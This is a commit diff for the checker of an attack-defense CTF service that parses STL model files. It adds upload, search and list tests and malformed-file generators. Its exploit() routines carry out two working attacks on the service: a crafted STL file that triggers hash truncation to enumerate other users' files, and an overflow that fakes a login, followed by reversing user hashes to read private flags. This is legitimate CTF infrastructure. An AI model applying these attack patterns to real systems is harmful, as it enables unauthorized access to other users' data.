large refactor of checker, added more havocs to test listing and search, added motd to service welcome banner

2 files changed, 347 insertions, 208 deletions

diff --git a/checker/src/checker.py b/checker/src/checker.py
index 780db31..ca7386d 100644
--- a/checker/src/checker.py
+++ b/checker/src/checker.py
@@ -12,20 +12,6 @@ rand = random.SystemRandom()
 
 from faker import Faker
 
-# DEBUGING MEMORY ISSUES#
-import tracemalloc, signal
-
-tracemalloc.start()
-
-def handler(signum, frame):
-    print("Received SIG!")
-    snapshot = tracemalloc.take_snapshot()
-    top_stats = snapshot.statistics('lineno')
-    open(f"malloc-log-{os.getpid()}", "w+").write("\n".join([str(v) for v in top_stats[:10]]))
-
-signal.signal(signal.SIGALRM, handler)
-# END DEBUG #
-
 evil_file = b"""
 solid test\xff
     facet normal 0 0 1.0
@@ -48,52 +34,60 @@ def ensure_bytes(v):
     else:
         raise BrokenServiceException("Tried to pass non str/bytes to bytes arg")
 
+def includes_all(resp, targets):
+    for m in targets:
+        if ensure_bytes(m) not in resp:
+            return False
+    return True
+
+def includes_any(resp, targets):
+    for m in targets:
+        if ensure_bytes(m) in resp:
+            return True
+    return False
+
+def fakeid():
+    fake = Faker(["en_US"])
+    idstr = bytes([ord(c) for c in fake.name().replace(" ","") if c in generic_alphabet][:12]).ljust(10, b".")
+    idstr += bytes([ord(rand.choice(generic_alphabet)) for i in range(8)])
+    return idstr
+
+def havocid():
+    idlen = rand.randint(10, 40)
+    return bytes([rand.randint(32, 127) for i in range(idlen)])
+
+def reverse_hash(hashstr):
+    if type(hashstr) is bytes:
+        hashstr = hashstr.decode()
+    data = subprocess.check_output([os.getenv("REVHASH_PATH"), hashstr])[:-1]
+    if data == b"":
+        raise BrokenServiceException(f"Failed to find hash preimage of {hashstr}")
+    return data
+
+def check_line(conn, context):
+    line = conn.recvline()
+    if b"ERR:" in line:
+        raise EnoException(f"{context}: Unexpected error message\n")
+    return line
+
+def parse_int(intstr):
+    try:
+        return int(intstr)
+    except:
+        return None
+
 class STLDoctorChecker(BaseChecker):
     service_name = "stldoctor"
     port = 9090
 
     flag_variants = 2
     noise_variants = 2
-    havoc_variants = 8
+    havoc_variants = 16
     exploit_variants = 2
 
-    prompt = b"$ "
-
-    def openconn(self):
-        conn = self.connect()
-        resp = conn.recvuntil(self.prompt)
-        return conn
-
-    def closeconn(self, conn):
-        self.debug("Sending exit command")
-        conn.write("exit\n")
-        # ensure it is a clean exit
-        conn.recvuntil("bye!")
-        conn.close()
-
-    def fakeid(self):
-        fake = Faker(["en_US"])
-        idstr = "".join([c for c in fake.name().replace(' ','') if c in generic_alphabet][:12]).ljust(10, '.')
-        idstr += "".join([rand.choice(generic_alphabet) for i in range(8)])
-        return idstr
-
-    def havocid(self):
-        idlen = rand.randint(10, 40)
-        return "".join([chr(rand.randint(32, 127)) for i in range(idlen)])
-
-    def do_auth(self, conn, authstr):
-        authstr = ensure_bytes(authstr)
-        self.debug(f"Logging in with {authstr}")
-        conn.write("auth\n")
-        conn.write(authstr + b"\n")
-        resp = conn.recvuntil(self.prompt)
-        assert_in(b"Success!", resp, f"Login with pass {authstr} failed");
+    prompt = b"\r$ "
 
-    def check_listed(self, conn, modelid):
-        modelid = ensure_bytes(modelid)
-        conn.write("list\n")
-        resp = conn.recvuntil(self.prompt)
-        assert_in(modelid, resp, f"Uploaded model {modelid} is missing from list command")
+    # HELPER FUNCS #
 
     def querydb(self, *args):
         vals = []
@@ -108,39 +102,43 @@ class STLDoctorChecker(BaseChecker):
     def postdb(self, **kwdict):
         self.chain_db = kwdict
 
-    def reverse_hash(self, hashstr):
-        return subprocess.check_output([os.getenv("REVHASH_PATH"), hashstr])[:-1]
-
-    def genfile_ascii(self, solidname, malformed=False):
+    def genfile_ascii(self, solidname, malformed = None):
+        indent = bytes([rand.choice(b"\t ") for i in range(rand.randint(1, 4))])
         solidname = ensure_bytes(solidname)
-        randchoice = rand.randint(0,2)
+        facet_count = rand.randint(4, 30)
 
         if len(solidname) != 0:
             content = b"solid " + solidname + b"\n"
         else:
             content = b"solid\n"
-        facet_count = rand.randint(4, 30)
-        indent = bytes([rand.choice(b"\t ") for i in range(rand.randint(1, 4))])
+
         for fi in range(facet_count):
-            if malformed and randchoice == 0: # malformed by wrong keyword
+            # MALFORM 1: wrong keyword
+            if malformed == 1:
                 content += indent * 1 + b"facet nornal "
             else:
                 content += indent * 1 + b"facet normal "
+
             vs = [[rand.random() for i in range(3)] for k in range(3)]
             norm = np.cross(np.subtract(vs[1], vs[0]), np.subtract(vs[2],vs[0]))
             norm = norm / np.linalg.norm(norm)
+
             content += " ".join([f"{v:.2f}" for v in norm]).encode() + b"\n"
-            if malformed and randchoice == 1: # malformed wrong keyword case
+
+            # MALFORM 2: wrong keyword case
+            if malformed == 2:
                 content += indent * 2 + b"outer lOop\n"
             else:
                 content += indent * 2 + b"outer loop\n"
+
             for i in range(3):
                 content += indent * 3 + b"vertex " + " ".join([f"{v:.2f}" for v in vs[i]]).encode() + b"\n"
+
             content += indent * 2 + b"endloop\n"
             content += indent + b"endfacet\n"
-        if malformed and randchoice == 2:
-            content += b"" # malformed since no endsolid
-        else:
+
+        # MALFORM 3: no endsolid keyword
+        if malformed != 3:
             if solidname != b"":
                 content += b"endsolid " + solidname + b"\n"
             else:
@@ -148,9 +146,9 @@ class STLDoctorChecker(BaseChecker):
 
         return content
 
-    def genfile_bin(self, solidname, malformed=False):
+    def genfile_bin(self, solidname, malformed = None):
         solidname = ensure_bytes(solidname)
-        randchoice = rand.randint(0, 3)
+        facet_count = rand.randint(4, 30)
 
         if len(solidname) > 78:
             raise EnoException("Solidname to embed in header is larger than header itself")
@@ -158,17 +156,20 @@ class STLDoctorChecker(BaseChecker):
             content = b"#" + solidname.ljust(78, b"\x00") + b"\x00"
         else:
             content = b"#" + b"\x00" * 79
-        facet_count = rand.randint(4, 30)
-        if malformed and randchoice == 0: # malform by specifying more facets than are in the file
+
+        # MALFORM 1: specify more facets than are in the file
+        if malformed == 1:
             content += struct.pack("<I", facet_count + rand.randint(3, 7))
         else:
             content += struct.pack("<I", facet_count)
+
         for fi in range(facet_count):
             vs = [[rand.random() for i in range(3)] for k in range(3)]
             norm = np.cross(np.subtract(vs[1], vs[0]), np.subtract(vs[2],vs[0]))
-            if malformed and randchoice == 2: # malform by setting invalid float in norm
-                norm[rand.randint(0,2)] = math.inf
-            elif malformed and randchoice == 3: # same malformation, but in vec
+
+            # MALFORM 2: invalid float for norm / vec
+            if malformed == 2:
+                norm[rand.randint(0,2)] = math.nan
                 vs[rand.randint(0,2)][rand.randint(0,2)] = math.inf
             for i in range(3):
                 content += struct.pack("<f", norm[i])
@@ -176,229 +177,366 @@ class STLDoctorChecker(BaseChecker):
                 for i in range(3):
                     content += struct.pack("<f", vs[k][i])
             content += b"\x00\x00"
-        if malformed and randchoice == 1: # malform by adding extra data to the end of the file
+
+        # MALFORM 3: add extra data to the end of the file
+        if malformed == 3:
             content += bytes([rand.randint(0, 255) for i in range(30)])
+
         return content
 
-    def genfile(self, filetype, solidname, malformed=False):
+    def genfile(self, solidname, filetype, malformed = None):
         if filetype == "ascii":
-            return self.genfile_ascii(solidname, malformed=malformed)
+            return self.genfile_ascii(solidname, malformed = malformed)
         elif filetype == "bin":
-            return self.genfile_bin(solidname, malformed=malformed)
+            return self.genfile_bin(solidname, malformed = malformed)
         elif filetype == "garbage-tiny":
             return ("".join([rand.choice(generic_alphabet) for i in range(rand.randint(3, 8))])).encode()
         elif filetype == "garbage":
             return ("".join([rand.choice(generic_alphabet) for i in range(rand.randint(100, 300))])).encode()
         else:
-            raise EnoException("Invalid file type supplied");
+            raise EnoException("Invalid file type supplied")
 
-    def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None):
-        solidname = ensure_bytes(solidname)
-        modelname = ensure_bytes(modelname)
+    def openconn(self):
+        conn = self.connect()
+        resp = conn.recvuntil(b'\n' + self.prompt)
+        return conn
 
-        # Generate file contents
-        if stlfile is None:
-            stlfile = self.genfile(filetype, solidname)
+    def closeconn(self, conn):
+        self.debug("Sending exit command")
+        conn.write("exit\n")
+        conn.recvuntil("bye!") # ensure clean exit
+        conn.close()
+
+    def do_auth(self, conn, authstr, check = True):
+        authstr = ensure_bytes(authstr)
+        self.debug(f"Logging in with {authstr}")
+        conn.write("auth\n")
+        conn.write(authstr + b"\n")
+
+        # Check for errors
+        resp = conn.recvline()
+        if b"ERR:" in resp:
+            if check:
+                raise EnoException(f"Failed to login with {authstr}:\n{resp}")
+            return None
+
+        # Also check success message
+        resp += conn.recvuntil(self.prompt)
+        if b"Success!" not in resp:
+            raise EnoException(f"Login with pass {authstr} failed")
+        return b"Welcome back" in resp
+
+    def do_list(self, conn, check = True):
+        conn.write("list\n")
+        resp = conn.recvuntil(self.prompt)
+
+        # Check for errors
+        if b"ERR:" in resp and b">> " not in resp:
+            if check:
+                raise EnoException(f"Failed to list private files:\n{resp}")
+            return None
+
+        return resp
+
+    def do_upload(self, conn, modelname, stlfile, check = True):
+        modelname = ensure_bytes(modelname)
 
         # Upload file
         self.debug(f"Uploading model with name {modelname}")
         conn.write("upload\n")
+        conn.write(modelname + b"\n")
         conn.write(f"{len(stlfile)}\n")
         conn.write(stlfile)
-        conn.write(modelname + b"\n")
 
-        # Parse ID
-        _ = conn.recvline()
+        # Check for errors
+        _ = conn.recvline() # Modelname:
         line = conn.recvline()
+        if b"ERR:" in line:
+            if check:
+                raise EnoException(f"Failed to upload model {modelname}:\n{line}")
+            conn.recvuntil(self.prompt)
+            return None
+
+        # Parse ID
         try:
             modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1]
             if modelid == b"": raise Exception
         except:
             raise BrokenServiceException(f"Invalid response during upload of {modelname}:\n{line}")
 
-        # Consume rest of data in this call
         conn.recvuntil(self.prompt)
+        return modelid
 
-        return stlfile, modelid
-
-    def getfile(self, conn, modelname=None, download=True):
+    def do_search(self, conn, modelname, download = False, check = True):
         modelname = ensure_bytes(modelname)
 
         # Initiate download
         self.debug(f"Retrieving model with name {modelname}")
-        conn.write("search\n")
-        conn.write(modelname + b"\n")
+        conn.write(b"search " + modelname + b"\n")
         conn.write("0\n") # first result
-        conn.write("y\n" if download else "\n")
+        conn.write("y\n" if download else "n\n")
         conn.write("q\n") # quit
 
-        # Wait for end of info box
-        resp = conn.recvuntil("================== \n")
+        # Check if an error occured
+        line = conn.recvline()
+        if b"ERR:" in line:
+            if check:
+                raise EnoException(f"Failed to retrieve model {modelname}:\n{line}")
+            if b"Couldn't find a matching scan result" in line:
+                # collect all the invalid commands sent after (hacky)
+                conn.recvuntil(self.prompt)
+                conn.recvuntil(self.prompt)
+                conn.recvuntil(self.prompt)
+            conn.recvuntil(self.prompt)
+            return None
 
-        # Ask for download if desired
-        if download:
-            resp += conn.recvuntil(b"Here you go.. (")
-            try:
-                size = int(conn.recvuntil(b"B)\n")[:-3])
-            except:
-                raise BrokenServiceException("Returned file content size for download is not a valid integer")
+        # Recv until end of info box
+        fileinfo = line + conn.recvuntil("================== \n")
+
+        stlfile = b""
+        if download: # Parse file contents
+            conn.recvuntil(b"Here you go.. (")
+            size = parse_int(conn.recvuntil(b"B)\n")[:-3])
+            if size is None:
+                raise BrokenServiceException(f"Received invalid download size, response:\n{resp}")
 
             self.debug(f"Download size: {size}")
-            contents = conn.recvn(size)
-            self.debug("File contents:\n" + str(contents))
-            resp += contents
+            stlfile = conn.recvn(size)
 
         conn.recvuntil(self.prompt)
+        return fileinfo, stlfile
+
+    # CHECK WRAPPERS #
+
+    def check_listed(self, conn, includes):
+        resp = self.do_list(conn, check = True)
+        if not includes_all(resp, includes):
+            raise EnoException(f"Failed to find {includes} in listing:\n{resp}")
         return resp
 
-    def check_getfile(self, conn, modelname, solidname, contents, modelid = None):
-        resp = self.getfile(conn, modelname = modelname)
-        if modelid:
-            assert_in(ensure_bytes(modelid), resp, f"Model id {modelid} not returned / correctly parsed")
-        assert_in(ensure_bytes(modelname), resp, f"Model name {modelname} not returned / correctly parsed")
-        assert_in(ensure_bytes(solidname), resp, f"Solid name {solidname} not returned / correctly parsed")
-        assert_in(ensure_bytes(contents), resp, f"STL File contents not returned / correctly parsed")
+    def check_not_listed(self, conn, excludes, fail = False):
+        resp = self.do_list(conn, check = False)
+        if fail and resp:
+            raise EnoException(f"Expected list to fail, but returned:\n{resp}")
+        if not fail and not resp:
+            raise EnoException(f"List failed unexpectedly:\n{resp}")
+        if resp and includes_any(resp, excludes):
+            raise EnoException(f"Unexpectedly found one of {excludes} in listing:\n{resp}")
+        return resp
 
-    def havoc_upload(self, filetype, register):
-        # Cant be havocid with ascii since might mess with stl parsing
-        solidname = self.fakeid() if filetype == 'ascii' else self.havocid()
-        modelname = self.havocid()
-        authstr = self.havocid()
+    def check_in_search(self, conn, modelname, includes, download = False):
+        info, stlfile = self.do_search(conn, modelname, download, check = True)
+        if not includes_all(info + stlfile, includes):
+            raise EnoException(f"Retrieved info for {modelname} is missing {includes}: {resp}")
+        return info, stlfile
+
+    def check_not_in_search(self, conn, modelname, excludes, download = False, fail = False):
+        resp = self.do_search(conn, modelname, download, check = False)
+        if resp:
+            combined = resp[0]+resp[1]
+        if fail and resp:
+            raise EnoException("Search for {modelname} succeeded unexpectedly:\n{combined}")
+        if not fail and not resp:
+            raise EnoException(f"Search for {modelname} failed unexpectedly:\n{resp}")
+        if resp and includes_any(resp[0] + resp[1], excludes):
+            raise EnoException(f"Unexpectedly {modelname} info contains one of {includes}: {combined}")
+        return resp
+
+    # TEST METHODS #
+
+    def test_good_upload(self, filetype, register):
+        # ASCII Solidname cant be havocid since it might mess with parsing
+        solidname = fakeid() if filetype == "ascii" else havocid()
+        modelname = havocid()
+        authstr = havocid()
+        stlfile = self.genfile(solidname, filetype)
 
         # Create new session and user and upload file
         conn = self.openconn()
         if register:
             self.do_auth(conn, authstr)
-        contents, modelid = self.putfile(conn, modelname, solidname, filetype)
-        self.check_getfile(conn, modelname, solidname, contents)
+        modelid = self.do_upload(conn, modelname, stlfile)
+        expected = [modelname, solidname, stlfile, modelid]
+        resp = self.check_in_search(conn, modelname, expected, download = True)
         if register:
-            self.check_listed(conn, modelid)
+            resp = self.check_listed(conn, [modelname, modelid])
         self.closeconn(conn)
 
         # Try getting file from a new session
         conn = self.openconn()
         if register:
+            self.check_not_in_search(conn, modelname, expected, download = True, fail = True)
             self.do_auth(conn, authstr)
-        self.check_getfile(conn, modelname, solidname, contents)
-        if register:
-            self.check_listed(conn, modelid)
+            self.check_in_search(conn, modelname, expected, download = True)
+            self.check_listed(conn, [modelid, modelname])
+        else:
+            self.check_in_search(conn, modelname, expected, download = True)
+
         self.closeconn(conn)
 
-    def malformed_upload(self, filetype):
+    def test_bad_upload(self, filetype, variant):
+        stlfile = self.genfile(fakeid(), filetype, malformed = variant)
+
         conn = self.openconn()
-        solidname = self.fakeid()
-        modelname = self.fakeid()
-        contents = self.genfile(filetype, solidname, malformed = True)
-        conn.write("upload\n")
-        conn.write(f"{len(contents)}\n")
-        conn.write(contents)
-        conn.write(modelname + "\n")
-        if filetype == "garbage-tiny":
-            conn.recvuntil("ERR: File too small")
-        else:
-            conn.recvuntil("ERR:")
-        conn.recvuntil(self.prompt)
+        if self.do_upload(conn, fakeid(), stlfile, check = False):
+            raise EnoException(f"Able to upload malformed file:\n{stlfile}")
         self.closeconn(conn)
 
-    def putflag(self):  # type: () -> None
-        if self.variant_id == 0:
+    def test_search(self, registered = False):
+        solidname = fakeid()
+        modelname = fakeid()
+        modelname2 = fakeid()
+        authstr = fakeid()
+        stlfile = self.genfile(solidname, "bin")
+
+        conn = self.openconn()
+        if registered:
+            self.do_auth(conn, authstr)
+        modelid = self.do_upload(conn, modelname, stlfile)
+        self.check_not_in_search(conn, modelname2, [modelname, modelid],
+                download = True, fail = True)
+        self.check_in_search(conn, modelname, [modelname, modelid], download = True)
+        self.closeconn(conn)
+
+    def test_list(self, registered = False):
+        solidname = fakeid()
+        modelname = fakeid()
+        authstr = fakeid()
+        authstr2 = fakeid()
+        stlfile = self.genfile(solidname, "bin")
+
+        conn = self.openconn()
+        self.do_auth(conn, authstr)
+        modelid = self.do_upload(conn, modelname, stlfile)
+        self.check_listed(conn, [modelid, modelname])
+        self.closeconn(conn)
+
+        if registered:
             conn = self.openconn()
-            modelname = self.fakeid()
-            stlfile, modelid = self.putfile(conn, modelname, self.flag, filetype = "ascii")
+            if self.do_auth(conn, authstr2):
+                raise EnoException("New authstr {authstr2} has user dir")
+            self.check_not_listed(conn, [modelid, modelname])
             self.closeconn(conn)
-            self.postdb(modelid=modelid, modelname=modelname)
-        elif self.variant_id == 1:
+        else:
             conn = self.openconn()
-            modelname = self.fakeid()
-            authstr = self.fakeid()
-            self.do_auth(conn, authstr)
-            stlfile, modelid = self.putfile(conn, modelname, self.flag, filetype = "bin")
+            self.check_not_listed(conn, [modelid, modelname], fail = True)
             self.closeconn(conn)
-            self.postdb(modelid=modelid, modelname=modelname, auth=authstr)
+
+    # CHECKER METHODS #
+
+    def putflag(self):  # type: () -> None
+        if self.variant_id in (0, 1):
+            modelname = fakeid()
+            types = ["ascii", "bin"]
+            registered = (self.variant_id == 1)
+            stlfile = self.genfile(self.flag, types[self.variant_id])
+            authstr = fakeid() if registered else ""
+
+            conn = self.openconn()
+            if registered:
+                self.do_auth(conn, authstr)
+            modelid = self.do_upload(conn, modelname, stlfile)
+            self.closeconn(conn)
+
+            self.postdb(modelid = modelid, modelname = modelname, authstr = authstr)
         else:
             raise EnoException(f"Invalid putflag variant ({self.variant_id}) provided")
 
     def getflag(self):  # type: () -> None
-        if self.variant_id == 0:
-            modelid, modelname = self.querydb("modelid", "modelname")
-            conn = self.openconn()
-            resp = self.getfile(conn, modelname.encode())
-            assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents")
-            self.closeconn(conn)
-        elif self.variant_id == 1:
-            modelid, modelname, authstr = self.querydb("modelid", "modelname", "auth")
+        if self.variant_id in (0, 1):
+            modelid, modelname, authstr = self.querydb("modelid", "modelname", "authstr")
+            registered = (self.variant_id == 1)
+
             conn = self.openconn()
-            self.do_auth(conn, authstr)
-            resp = self.getfile(conn, modelname.encode())
-            assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents")
+            if registered:
+                self.do_auth(conn, authstr)
+            info, stlfile = self.do_search(conn, modelname)
+            if self.flag.encode() not in (info + stlfile):
+                raise EnoException(f"Flag {self.flag} not found in search:\n{info}\n{stlfile}")
             self.closeconn(conn)
         else:
             raise EnoException(f"Invalid getflag variant ({self.variant_id}) provided")
 
     def putnoise(self):  # type: () -> None
-        if self.variant_id == 0:
-            conn = self.openconn()
-            modelname = self.fakeid()
-            solidname = self.fakeid()
-            contents, modelid = self.putfile(conn, modelname, solidname, "bin")
-            self.closeconn(conn)
-            self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents)
-        elif self.variant_id == 1:
+        if self.variant_id in (0, 1):
+            modelname = fakeid()
+            solidname = fakeid()
+            types = ["bin", "ascii"]
+            registered = (self.variant_id == 1)
+            authstr = fakeid() if registered else ""
+            stlfile = self.genfile(solidname, types[self.variant_id])
+
             conn = self.openconn()
-            authstr = self.fakeid()
-            modelname = self.fakeid()
-            solidname = self.fakeid()
-            self.do_auth(conn, authstr)
-            contents, modelid = self.putfile(conn, modelname, solidname, "ascii")
+            if registered:
+                self.do_auth(conn, authstr)
+            modelid = self.do_upload(conn, modelname, stlfile)
             self.closeconn(conn)
-            self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents, auth=authstr)
+
+            self.postdb(modelid = modelid, modelname = modelname,
+                solidname = solidname, stlfile = stlfile, authstr = authstr)
         else:
             raise EnoException(f"Invalid putnoise variant ({self.variant_id}) provided")
 
     def getnoise(self):  # type: () -> None
-        if self.variant_id == 0:
-            modelid, modelname, solidname, contents = self.querydb("modelid", "modelname", "solidname", "contents")
-            conn = self.openconn()
-            self.check_getfile(conn, modelname, solidname, contents, modelid)
-            self.closeconn(conn)
-        elif self.variant_id == 1:
-            modelid, modelname, solidname, contents, authstr = self.querydb("modelid", "modelname", "solidname", "contents", "auth")
+        if self.variant_id in (0, 1):
+            modelid, modelname, solidname, stlfile, authstr \
+                = self.querydb("modelid", "modelname", "solidname", "stlfile", "authstr")
+            registered = (self.variant_id == 1)
+            expected = [modelname, solidname, stlfile, modelid]
+
             conn = self.openconn()
-            self.do_auth(conn, authstr)
-            self.check_getfile(conn, modelname, solidname, contents, modelid)
+            if registered:
+                self.do_auth(conn, authstr)
+            self.check_in_search(conn, modelname, expected, download = True)
             self.closeconn(conn)
         else:
             raise EnoException(f"Invalid noise variant ({self.variant_id}) provided")
 
     def havoc(self):  # type: () -> None
         if self.variant_id == 0:
-            self.havoc_upload('ascii', False)
+            self.test_good_upload("ascii", False)
         elif self.variant_id == 1:
-            self.havoc_upload('bin', False)
+            self.test_good_upload("bin", False)
         elif self.variant_id == 2:
-            self.havoc_upload('ascii', True)
+            self.test_good_upload("ascii", True)
         elif self.variant_id == 3:
-            self.havoc_upload('bin', True)
+            self.test_good_upload("bin", True)
         elif self.variant_id == 4:
-            self.malformed_upload('ascii')
+            self.test_bad_upload("ascii", variant = 1)
         elif self.variant_id == 5:
-            self.malformed_upload('bin')
+            self.test_bad_upload("ascii", variant = 2)
         elif self.variant_id == 6:
-            self.malformed_upload('garbage')
+            self.test_bad_upload("ascii", variant = 3)
         elif self.variant_id == 7:
-            self.malformed_upload('garbage-tiny')
+            self.test_bad_upload("bin", variant = 1)
+        elif self.variant_id == 8:
+            self.test_bad_upload("bin", variant = 2)
+        elif self.variant_id == 9:
+            self.test_bad_upload("bin", variant = 3)
+        elif self.variant_id == 10:
+            self.test_bad_upload("garbage", variant = 1)
+        elif self.variant_id == 11:
+            self.test_bad_upload("garbage-tiny", variant = 1)
+        elif self.variant_id == 12:
+            self.test_search(False)
+        elif self.variant_id == 13:
+            self.test_search(True)
+        elif self.variant_id == 14:
+            self.test_list(False)
+        elif self.variant_id == 15:
+            self.test_list(True)
         else:
             raise EnoException(f"Invalid havoc variant ({self.variant_id}) provided")
 
     def exploit(self):  # type: () -> None
         if self.variant_id == 0:
-            name = self.fakeid()
+            modelname = fakeid()
 
             # Upload evil file for parse via search for hash truncation
+            self.debug(f"Uploading evil file for hash truncation")
             conn = self.openconn()
-            resp,mid = self.putfile(conn, name, name, stlfile=evil_file)
-            self.debug(f"Uploaded evil file with id {mid}")
-            resp = self.getfile(conn, name, download=False)
+            modelid = self.do_upload(conn, modelname, stlfile = evil_file)
+            info, contents = self.do_search(conn, modelname, download = False)
             conn.write("search last\n")
             filelist = [l.strip().split(b" : ")[1] for l in conn.recvuntil("? ").split(b"\n") if b" : " in l]
             if len(filelist) == 0:
@@ -406,7 +544,7 @@ class STLDoctorChecker(BaseChecker):
 
             # Use it to enumerate other files and grab contents
             found = None
-            self.debug("Targets:\n" + "\n".join([' - ' + l.decode('latin1') for l in filelist]))
+            self.debug("Targets:\n" + "\n".join([" - " + l.decode("latin1") for l in filelist]))
             for i, fhash in enumerate(filelist):
                 self.debug(f"Retrieving file {fhash} at index {i}")
                 conn.write(f"{i}\nn\n")
@@ -416,6 +554,7 @@ class STLDoctorChecker(BaseChecker):
                 if found is not None or i == len(filelist) - 1:
                     break
 
+            # Done!
             conn.write("q\n")
             conn.recvuntil(self.prompt)
             self.closeconn(conn)
@@ -431,8 +570,9 @@ class STLDoctorChecker(BaseChecker):
             conn.write("auth\n")
             assert_in(b"Already logged in!", conn.recvuntil(self.prompt),
                     "Exploit did not set 'loggedin' variable via overflow")
-            conn.write("list\n")
-            resp = conn.recvuntil(self.prompt)
+
+            # Get private user hashes via 'list'
+            resp = self.do_list(conn)
             self.debug("List response: " + str(resp))
             users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
             if len(users) == 0:
@@ -442,27 +582,25 @@ class STLDoctorChecker(BaseChecker):
             # Login as each private user
             found = None
             for u in users:
-                conn = self.openconn()
+                # Find preimage of user hash
                 self.debug(f"Logging in as user with id {u}")
+                user = reverse_hash(u)
 
-                user = self.reverse_hash(u.decode())
-                if user == b"":
-                    raise BrokenServiceException("Failed to find hash preimage")
-                conn.write(b"auth " + user + b"\n")
-
-                resp = conn.recvuntil(self.prompt)
-                if b"Welcome back" not in resp:
+                # Authenticate and check if the user is new
+                conn = self.openconn()
+                if not self.do_auth(conn, user):
                     self.closeconn(conn)
-                    continue
-                    # NOTE: dont raise an exception, could be that user dir was cleaned up just
-                    # before we logged in, not necessarily because of invalid prehash
+                    # We dont raise an exception, because it could be that user dir was cleaned
+                    # up just before we logged in, not necessarily because of an invalid prehash
                     # raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}")
+                    continue
 
-                conn.write("list\n")
-                resp = conn.recvuntil(self.prompt)
-                names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
+                # List all private files of user
+                resp = self.do_list(conn)
                 self.closeconn(conn)
 
+                # Search for flag in solid names
+                names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
                 found = self.search_flag_bytes(names)
                 if found is not None:
                     break
diff --git a/checker/src/revhash/main.c b/checker/src/revhash/main.c
index a1f31a5..7a7b802 100644
--- a/checker/src/revhash/main.c
+++ b/checker/src/revhash/main.c
@@ -15,6 +15,7 @@ mhash(const char *str, size_t len)
 	int i, k, v;
 	char c, *bp;
 
+	if (!str || !*str) str = ".";
 	if (len <= 0) return EXIT_FAILURE;
 
 	for (v = 0, i = 0; i < len; i++) v += str[i];